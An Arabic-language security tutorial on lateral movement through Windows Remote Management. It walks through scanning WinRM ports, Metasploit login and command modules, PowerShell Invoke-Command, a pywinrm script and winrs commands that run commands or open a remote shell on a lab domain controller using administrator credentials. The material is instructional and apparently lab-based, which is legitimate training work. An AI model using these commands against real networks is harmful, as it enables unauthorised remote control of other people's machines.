2018

Lateral Movement

التنقل داخل الشبكة

[WinRM-WinRS]

Haboob Team

المحتويات

بسم الله الرحمن الرحيم

1 ماهي خدمة الـ WinRM

WinRM هي اختصار لـ **Windows Remote Management** وهي خدمة تسمح لمديري النظام بادارة انظمتهم عن بعد ، كما ان الاتصال يتم عن طريق برتوكول **HTTP** باستخدام منفذ **5985** أو عن طريق بروتوكل **HTTPS SOAP** باستخدام منفذ **5986** والتحقق من كلمة المرور يدعم بشكل افتراضي **Kerberos** و **NTLM** كما يدعم التحقق الاساسي **(Basic Authentication)**.

2 متطلبات الـ WinRM

خدمة الـ **WinRM** تتطلب صلاحيات مدير النظام المحلي **(Local Administrator)**.

3 تاريخ الـ WinRM

الاصدار الاول **1.1** كان يتم استخدامة على نظام **Windows Vista** ونظام **Windows Server 2008** ، تبعه اصدار **2.0** الذي يتم استخدامة على **Windows 7** و **Windows Server 2008 R2**. ثم تبعة الاصدار الأخير **3.0** الذي هو مثبت مسبقاً على نظام **Windows 8** و **Windows Server 2012** ، اما في نظام **Windows 10** تأتي خدمة **WinRM** مثبته مسبقاً لكنها غير مفعله افتراضياً.

4 الفرق بين WinRM و WinRS

الـ **WinRM** هو الخادم **(Server)** في خدمة **remote management application** بينما الـ **WinRS** الذي هو اختصار لـ **Windows Remote Shell** يعتبر المستخدم **(Client)** الذي يطبق على الجهاز لمحاولة ادارته عن بعد.

5 التعرف على خدمة WinRM في الشبكة

كما ذكرنا سابقاً خدمة **WinRM** تستخدم منفذي **5985** و **5986** ولنتأكد من انها مفعلة في الشبكة يجب فحص المنفذين عن طريق استخدام **Nmap** او باستخدام خاصية **db_nmap** في ميتاسبلويت

```
db_nmap -p5985,5986 Machine-IP -Pn
```

```
msf > db_nmap -p5985,5986 10.0.0.60 -Pn
[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-03 18:46 EDT
[*] Nmap: Nmap scan report for 10.0.0.60
[*] Nmap: Host is up.
[*] Nmap: PORT     STATE    SERVICE
[*] Nmap: 5985/tcp open     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 5986/tcp closed   wsmans
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds
```

صورة 1 - db_nmap

```
root@Tamer:~# nmap -sVT -Pn -p5985,5986 10.0.0.60

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-03 18:56 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5986-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
Nmap scan report for 10.0.0.60
Host is up (7.2s latency).

PORT     STATE  SERVICE VERSION
5985/tcp open   http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp closed wsmans
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.51 seconds
```

صورة 2 - nmap

6 التعرف على نوع التحقق (Authentication Methods)

بامكاننا التعرف على نوع التحقق من خلال منصة ميتاسبلويت باستخدام موديول (winrm_auth_methods)

```
auxiliary/scanner/winrm/winrm_auth_methods
```

```
msf auxiliary(scanner/winrm/winrm_auth_methods) > options

Module options (auxiliary/scanner/winrm/winrm_auth_methods):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DOMAIN   WORKSTATION      yes       The domain to use for Windows authentification
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.0.0.60        yes       The target address range or CIDR identifier
   RPORT    5985             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads
   URI      /wsman           yes       The URI of the WinRM service
   VHOST                     no        HTTP server virtual host

msf auxiliary(scanner/winrm/winrm_auth_methods) > run

[+] 10.0.0.60:5985: Negotiate protocol supported
[+] 10.0.0.60:5985: Kerberos protocol supported
[+] 10.0.0.60:5985: Basic protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

winrm_auth_methods - 3 صورة

7 ماذا لو كانت خدمة WinRM مغلقة؟

بامكاننا تفعيلها عن طريق تنفيذ الامر التالي على الجهاز بأستخدام WMIC او RDP اي طريقة مشابهه

```
winrm quickconfig

winrm e winrm/config/listener
```

8 كيف يتم استغلال الخدمة للتنقل بداخل الشبكة؟

بامكاننا استغلال خدمة WinRM بعدة طرق مختلفة تمكننا من التنقل في اجهزة الشبكة عن طريق استخدام احد الطرق التالية:

- Metasploit
- PowerShell
- Pywinrm
- WinRS

9 استغلال WinRM باستخدام Metasploit

منصة **Metasploit** ، هي منصة شهيرة وتقدم العديد من الـ **Modules** المفيدة لنا كمهتمين بأمن المعلومات ، دعونا في البداية نتعرف على اهم الـ **Modules** الخاصة بـ **WinRM**.

```
msf > search winrm

Matching Modules
================

   Name                                      Disclosure Date  Rank    Description
   ----                                      ---------------  ----    -----------
   auxiliary/scanner/winrm/winrm_auth_methods                 normal  WinRM Authentication Method Detection
   auxiliary/scanner/winrm/winrm_cmd                          normal  WinRM Command Runner
   auxiliary/scanner/winrm/winrm_login                        normal  WinRM Login Utility
   auxiliary/scanner/winrm/winrm_wql                          normal  WinRM WQL Query Runner
   exploit/windows/winrm/winrm_script_exec    2012-11-01      manual  WinRM Script Exec Remote Code Execution
```

صورة 4 - winrm_auth_methods

في البداية **winrm_auth_methods** والذي قمنا باستخدامة في (صورة رقم 3) وعن طريقة استطعنا معرفة أنواع التحقق المستخدمة في الشبكة لـ **WinRM**

```
auxiliary/scanner/winrm/winrm_auth_methods
```

يليه **winrm_login** والذي عن طريقة يمكننا التحقق من كلمة المرور التي لدينا اذا كان لديها الصلاحية لـ استخدام **WinRM** ام لا.

```
auxiliary/scanner/winrm/winrm_login
```

```
msf auxiliary(scanner/winrm/winrm_login) > run
[+] 10.0.0.60:5985 - Login Successful: Haboob\admin:P@ssw0rd-Haboob
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/winrm/winrm_login) >
```

صورة 5 – winrm_login

يأتي بعدها winrm_cmd الذي يمكننا من خلالها تطبيق الاوامر عن بعد

```
auxiliary/scanner/winrm/winrm_cmd
```

```
msf auxiliary(scanner/winrm/winrm_cmd) > run
[+]
Windows IP Configuration

   Host Name . . . . . . . . . . . . : DC1
   Primary Dns Suffix  . . . . . . . : haboob.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : haboob.local

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : [redacted]
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.60(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 10.0.0.54
                                       10.0.0.60
                                       127.0.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{[redacted]}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
```

صورة 6 – winrm_cmd

10 هل واجهت هذه المشكلة في تشغيل WINRM_CMD؟

```
msf auxiliary(scanner/winrm/winrm_cmd) > options

Module options (auxiliary/scanner/winrm/winrm_cmd):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CMD          ipconfig /all    yes       The windows command to run
   DOMAIN       HABOOB           yes       The domain to use for Windows authentificatio
   PASSWORD     P@ss0wrd-Haboob  yes       The password to authenticate with
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       10.0.0.60        yes       The target address range or CIDR identifier
   RPORT        5985             yes       The target port (TCP)
   SAVE_OUTPUT  false            yes       Store output as loot
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   THREADS      1                yes       The number of concurrent threads
   URI          /wsman           yes       The URI of the WinRM service
   USERNAME     admin            yes       The username to authenticate as
   VHOST                         no        HTTP server virtual host

msf auxiliary(scanner/winrm/winrm_cmd) > run

[-] Got unexpected response:
 HTTP/1.1 500
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 04 Jun 2018 00:31:19 GMT
Connection: close
Content-Length: 0


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

صورة 7 - issue in winrm_cmd

قد تواجهك مشكلة في تشغيل **winrm_cmd** والسبب يعود الى ان منصة **Metasploit** لا تدعم التحقق عن طريق **Kerberos** او الاتصال المشفر **https** والذي هي الاعدادات الافتراضية لـ **WinRM** في **Windows Server 2012**

الحل هو الانتقال للخطوة التالية واستخدام PowerShell للاتصال بالجهاز

11 استغلال WinRM باستخدام PowerShell PSRemoting

احد الطرق الشهيرة لاستخدام خدمة **WinRM** هي باستخدام الـ **PowerShell** ..

بامكاننا استدعاء الـ **PowerShell** مباشرة من اي جهاز بداخل الشبكة او عن طريق استدعاء **powershell_shell** باستخدام **Meterpreter session**

ثم تنفيذ الاوامر التالية:

```
1. $user = "Haboob\admin"
2. $pass = "P@ssw0rd-Haboob"
3. $pwd = ConvertTo-SecureString $pass -AsPlainText -Force
4. $com = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $pwd
5. Connect-WSMan -Credential $com -ComputerName DC1.haboob.local
6. cd wsman:
7. Invoke-Command -ComputerName DC1.haboob.local -ScriptBlock {DIR C:\ } -Credential $com
```

يجب عليك تغيير كل ماهو **باللون الأحمر** لما يتناسب مع شبكة الهدف

اسم المستخدم يجب أن يكون مدير محلي للنظام او مدير للشبكة ، في حال كان اسم المستخدم مديراً للشبكة يجب اضافة اسم النطاق .

كما انه في السطر الخامس والسطر السابع يجب اضافة اسم الجهاز بالاضافة الى اسم النطاق المحلي.

```
meterpreter > powershell_shell
PS > $user = "Haboob\admin"
PS > $pass = "P@ssw0rd-Haboob"
PS > $pwd = ConvertTo-SecureString $pass -AsPlainText -Force
PS > $com = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $pwd
PS > Connect-WSMan -Credential $com -ComputerName DC1.haboob.local
PS > cd wsman:
PS > Invoke-Command -ComputerName  DC1.haboob.local -ScriptBlock {DIR C:\ } -Credential $com


    Directory: C:\


Mode                 LastWriteTime     Length Name                                PSComputerName
----                 -------------     ------ ----                                --------------
d----          10/9/2017   8:14 PM            Hyper-V                             DC1.haboob.local
d----          8/5/2017    2:58 PM            inetpub                             DC1.haboob.local
d----          8/22/2013   6:52 PM            PerfLogs                            DC1.haboob.local
d-r--         10/10/2017   1:41 PM            Program Files                       DC1.haboob.local
d----         10/10/2017   1:10 PM            Program Files (x86)                 DC1.haboob.local
d-r--          3/15/2018  12:40 PM            Users                               DC1.haboob.local
d----          2/12/2018  11:22 PM            Windows                             DC1.haboob.local
-a---          8/5/2017    5:34 PM       1202 DC1.haboob.local_haboob-DC1         DC1.haboob.local
```

صورة 8 - PowerShell

12 استغلال WinRM باستخدام PyWinRM

بامكننا استخدام لغة الـ Python لـ استغلال خدمة الـ WinRM عن طريق احد اشهر المكتبات pywinrm ، في البداية يجب تثبيت المكتبة على جهازنا الشخصي عن طريق تنفيذ الاوامر التالية:

```
# for Debian/Ubuntu/etc:
$ sudo apt-get install gcc python-dev libkrb5-dev
$ pip install pywinrm[kerberos]

# for RHEL/CentOS/etc:
$ sudo yum install gcc python-devel krb5-devel krb5-workstation python-devel
$ pip install pywinrm[kerberos]
```

بعد التثبيت أصبحنا جاهزين وبامكاننا استخدم الـScript التالي للاتصال مع الاخذ في الاعتبار تغيير المعطيات باللون الأحمر:

```
from winrm.protocol import Protocol

p = Protocol(
    endpoint='http://10.0.0.60:5985/wsman',
    transport='ntlm',
    username=r'Haboob\admin',
    password='P@ssw0rd-Haboob',
    server_cert_validation='ignore')
shell_id = p.open_shell()
command_id = p.run_command(shell_id, 'ipconfig', ['/all'])
std_out, std_err, status_code = p.get_command_output(shell_id, command_id)
p.cleanup_command(shell_id, command_id)
#print(std_out, status_code)
print "std_out: " + str(std_out)
print "std_err: " + str(std_err)
print "status_code: " + str(status_code)
p.close_shell(shell_id)
```

كما انه بالامكان تشغيل الـPython Script عن طريق الـ Proxychain وتنفيذ الاوامر عن بعد

```
root@[redacted]:~# python WinRM.py
|DNS-request| ::1
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: ::1 does not exist
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.0.0.60:5985-<><>-OK
std_out:
Windows IP Configuration

   Host Name . . . . . . . . . . . . : DC1
   Primary Dns Suffix  . . . . . . . : DC1.haboob.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : DC1.haboob.local

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : [redacted]
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.60(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 10.0.0.54
                                       10.0.0.60
                                       127.0.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.{[redacted]}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

std_err:
status_code: 0
```

صورة 9 - pywinrm

13 استغلال WinRS

يمكن استغلال خدمة WinRM مباشرة من الـ Command line [cmd] ، بتنفيذ الأمر التالي ، مع الاخذ بالاعتبار تغيير كل ماهو باللون الأحمر:

```
winrs -r:http://DC1.haboob.local/wsman /username:"HABOOB\admin" /password:"P@ssw0rd-Haboob" "ipconfig /all"
```

او بالامكان فتح CMD مباشرة من خلال الأمر الاتي:

```
winrs -r:http://DC1.haboob.local/wsman "cmd"
```

```
C:\Windows\system32>winrs -r:http://DC1.haboob.local/wsman /username:"HABOOB\admin" /password:"P@ssw0rd-Haboob" "ipconfig /all"
Windows IP Configuration

   Host Name . . . . . . . . . . . . : DC1
   Primary Dns Suffix  . . . . . . . : DC1.haboob.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : DC1.haboob.local

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : [redacted]
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.60(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 10.0.0.54
                                       10.0.0.60
                                       127.0.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled
```

صورة 10 - WinRS

14 المصادر:

- https://www.pcwdld.com/what-is-winrm
- http://techgenix.com/how-windows-server-2008-winrm-winrs
- https://blog.rapid7.com/2012/11/08/abusing-windows-remote-management-winrm-with-metasploit
- https://github.com/rapid7/metasploit-framework/issues/8900
- https://github.com/diyan/pywinrm